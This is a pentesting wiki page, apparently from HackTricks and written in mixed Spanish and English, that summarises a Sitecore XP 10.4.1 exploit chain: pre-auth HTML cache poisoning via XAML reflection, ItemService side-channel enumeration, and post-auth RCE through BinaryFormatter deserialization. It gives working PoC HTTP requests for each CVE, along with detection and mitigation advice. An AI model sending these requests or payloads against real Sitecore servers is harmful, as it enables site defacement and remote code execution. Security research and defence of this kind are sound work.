# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE {{#include ../../../banners/hacktricks-training.md}} Esta página resume una cadena de ataque práctica contra Sitecore XP 10.4.1 que pivota desde un pre‑auth XAML handler a HTML cache poisoning y, mediante un flujo de UI autenticado, a RCE a través de BinaryFormatter deserialization. Las técnicas se generalizan a versiones/componentes similares de Sitecore y proporcionan primitivas concretas para probar, detectar y endurecer. - Producto afectado probado: Sitecore XP 10.4.1 rev. 011628 - Corregido en: KB1003667, KB1003734 (junio/julio de 2025) Ver también: {{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}} {{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}} ## Primitiva pre‑auth: XAML Ajax reflection → HtmlCache write Entrypoint is the pre‑auth XAML handler registered in web.config: ```xml ``` Accesible a través de: ``` GET /-/xaml/Sitecore.Shell.Xaml.WebControl ``` El árbol de controles incluye AjaxScriptManager que, en solicitudes de eventos, lee attacker‑controlled fields e invoca de forma reflectiva métodos en los controles objetivo: ```csharp // AjaxScriptManager.OnPreRender string clientId = page.Request.Form["__SOURCE"]; // target control string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2") ... Dispatch(clientId, text); // eventually → DispatchMethod(control, parameters) MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true); if (m != null) m.Invoke(this, e.Parameters); // Alternate branch for XML-based controls if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} ``` Observación clave: la página XAML incluye una instancia de XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl hereda de Sitecore.Web.UI.WebControl (una clase de Sitecore), que pasa la allow‑list ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos en Sitecore WebControl. Método mágico para poisoning: ```csharp // Sitecore.Web.UI.WebControl protected virtual void AddToCache(string cacheKey, string html) { HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); } ``` Al poder apuntar a xmlcontrol:GlobalHeader y llamar a métodos de Sitecore.Web.UI.WebControl por nombre, obtenemos una primitiva pre-auth para escritura arbitraria en HtmlCache. ### Solicitud PoC (CVE-2025-53693) ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 Host: target Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` Notas: - __SOURCE es el clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comúnmente estable como ctl00_ctl00_ctl05_ctl03 ya que se deriva de XAML estático). - __PARAMETERS tiene el formato Method("arg1","arg2"). ## Qué envenenar: Construcción de la clave de caché Construcción típica de la clave de HtmlCache usada por los controles de Sitecore: ```csharp public virtual string GetCacheKey(){ SiteContext site = Sitecore.Context.Site; if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){ string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey; if (key.Length > 0){ string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant(); if (this.VaryByData) k += ResolveDataKeyPart(); if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName(); if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn; if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName(); if (this.VaryByParm) k += "_#parm:" + this.Parameters; if (this.VaryByQueryString && site?.Request != null) k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&"); if (this.ClearOnIndexUpdate) k += "_#index"; return k; } } return string.Empty; } ``` Ejemplo de envenenamiento dirigido para un sublayout conocido: ``` __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` ## Enumerar elementos cacheables y dimensiones “vary by” Si el ItemService está (mal)expuesto de forma anónima, puedes enumerar componentes cacheables para derivar claves exactas. Sondeo rápido: ``` GET /sitecore/api/ssc/item // 404 Sitecore error body → exposed (anonymous) // 403 → blocked/auth required ``` Listar elementos cacheables y flags: ``` GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 ``` Busca campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Los nombres de dispositivo pueden enumerarse mediante: ``` GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 ``` ### Side‑channel enumeration under restricted identities (CVE-2025-53694) Incluso cuando ItemService se hace pasar por una cuenta limitada (p. ej., ServicesAPI) y devuelve una Results array vacía, TotalCount aún puede reflejar hits de Solr previos a la ACL. Puedes brute‑force item groups/ids con wildcards y observar cómo TotalCount converge para mapear contenido interno y dispositivos: ``` GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true → "TotalCount": 3 GET /...term=%2B_templatename:Device;%2B_group:aa* → "TotalCount": 2 GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* → narrow to a specific item ``` ## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691) Sink: ```csharp // Sitecore.Convert byte[] b = Convert.FromBase64String(data); return new BinaryFormatter().Deserialize(new MemoryStream(b)); ``` Accesible a través del paso ConvertWebControls del pipeline convertToRuntimeHtml, que busca un elemento con id {iframeId}_inner y decodifica base64 y deserializa su contenido, luego inyecta la cadena resultante en el HTML: ```csharp HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); string text2 = inner?.GetAttributeValue("value", ""); if (text2.Length > 0) htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); ``` Disparador (autenticado, Content Editor rights). El diálogo FixHtml llama a convertToRuntimeHtml. De extremo a extremo sin clics en la UI: ``` // 1) Start Content Editor GET /sitecore/shell/Applications/Content%20Editor.aspx // 2) Load malicious HTML into EditHtml session (XAML event) POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= // 3) Server returns a session handle (hdl) for FixHtml {"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."} // 4) Visit FixHtml to trigger ConvertWebControls → deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... ``` Generación de gadgets: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. El contenido de la cadena se inserta en el HTML por ConvertWebControls tras ejecutarse los side‑effects de deserialization. {{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}} ## Cadena completa 1) Un atacante pre‑auth envenena HtmlCache con HTML arbitrario invocando reflectivamente WebControl.AddToCache vía XAML AjaxScriptManager. 2) El HTML envenenado sirve JavaScript que empuja a un usuario autenticado Content Editor a través del flujo FixHtml. 3) La página FixHtml dispara convertToRuntimeHtml → ConvertWebControls, que deserializa base64 controlado por el atacante vía BinaryFormatter → RCE bajo la identidad del app pool de Sitecore. ## Detección - Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`. - ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`. - Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields. ## Mitigación - Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`. - Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows. - Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels. - Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning. ## References - [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) - [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) - [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) {{#include ../../../banners/hacktricks-training.md}}